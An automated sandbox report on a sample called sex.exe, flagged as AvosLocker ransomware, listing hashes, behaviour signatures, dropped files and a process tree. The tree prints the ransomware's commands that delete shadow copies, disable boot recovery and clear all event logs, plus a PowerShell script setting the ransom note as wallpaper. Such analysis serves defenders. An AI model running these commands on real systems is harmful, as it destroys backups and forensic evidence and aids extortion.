Overview

overview

10

Static

static

3

sex.exe

windows7-x64

10

sex.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    29-12-2024 00:15

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General

  • Target

    sex.exe

  • Size

    1.6MB

  • MD5

    206d771b3ff8a6076a587a6ac75e139a

  • SHA1

    c83ce7184a2c75e12401aee9d7f9f3650caf6f1a

  • SHA256

    eae2202ccbc0bab903d9923a88368c093ee462e20dd442669e31e12389a14fb2

  • SHA512

    b389041cb9353e4a944d0f31e5f1ffc46a48ca3e84e3306503d0d91c41d1f56ae23e8d6cda548765e23633e121305a648936995d4af8cbc8a283f621b9483734

  • SSDEEP

    24576:gImw98okVgela0as5CqLVO7XJCjkD3N0HRAxV0aEhbHdn0TrldepPZ:WL5ljasaUKeaEhDF

Score
10/10
avoslockerdefense_evasiondiscoveryevasionexecutionimpactransomwareupx

Malware Config

Signatures

  • Avoslocker Ransomware

    Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.

    ransomwareavoslocker
  • Avoslocker family
    avoslocker
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (10421) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 56 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\sex.exe
    "C:\Users\Admin\AppData\Local\Temp\sex.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      "C:\Users\Admin\AppData\Local\Temp\hack.exe"
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\system32\cmd.exe
        cmd /c wmic shadowcopy delete /nointeractive
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2236
      • C:\Windows\system32\cmd.exe
        cmd /c vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2184
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe Delete Shadows /All /Quiet
          4⤵
          • Interacts with shadow copies
          PID:2924
      • C:\Windows\system32\cmd.exe
        cmd /c bcdedit /set {default} recoveryenabled No
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2164
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled No
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:3000
      • C:\Windows\system32\cmd.exe
        cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2752
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2648
      • C:\Windows\system32\cmd.exe
        cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4852
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\203388182.png /f
          4⤵
          • Sets desktop wallpaper using registry
          PID:3452
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
          4⤵
            PID:4300
      • C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:984
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2744

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\GET_YOUR_FILES_BACK.txt
      Filesize

      1011B

      MD5

      c92c2b70fb37f84aab38412ad9226aa8

      SHA1

      14f2e9a83285612d0a7b2c83b8f89bccfde6c154

      SHA256

      d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f

      SHA512

      04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\Firefox Installer.exe
      Filesize

      364KB

      MD5

      530894a1f0eb42c7837db4d74829f5c6

      SHA1

      99909db6f574ca964a9b822b9b19fd2e851b8c1e

      SHA256

      aac3ce797f50e0a5b9f1b43aaaffb439d4c42e3cf5b9fbeac52fa3d263fde3d0

      SHA512

      0836dd919c5f5648ce3445f9a3c84afe5e1e694ff998f1204498b2a86b13ed297469bea88af0ad7e49c97cd57153c7c43fd0a311b4c2685f4dfca5574d1d10f0

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\hack.exe
      Filesize

      807KB

      MD5

      e27b5291c8fb2dfdeb7f16bb6851df5e

      SHA1

      40207f83b601cd60905c1f807ac0889c80dfe33f

      SHA256

      ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f

      SHA512

      2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
      Filesize

      7KB

      MD5

      f3d45ac088e516fc608b704ab75d5294

      SHA1

      345286af5c6c62cba65211e668cf46598760eab1

      SHA256

      4693e2bb5d027f74e75edb599ef622408266caf029c53c66e45277337d957a85

      SHA512

      dbc0d5cd311112387c87f0ac14f7fbdd97b6d65a979c9dc0848b91d90058a53351873ee538ca1caaa1f43ca37b6cced2d6caf749f9233ffdb834f89145f9a962

      Download Submit

    • memory/532-9-0x000000013F3E0000-0x000000013F579000-memory.dmp

      Filesize

      1.6MB

      Download

    • memory/984-12-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

      Download

    • memory/984-14-0x0000000000400000-0x0000000000446000-memory.dmp

      Filesize

      280KB

      Download

    • memory/2656-687-0x0000000001D20000-0x0000000001D28000-memory.dmp

      Filesize

      32KB

      Download

    • memory/2656-552-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/4852-24605-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

      Filesize

      2.9MB

      Download

    • memory/4852-24606-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB

      Download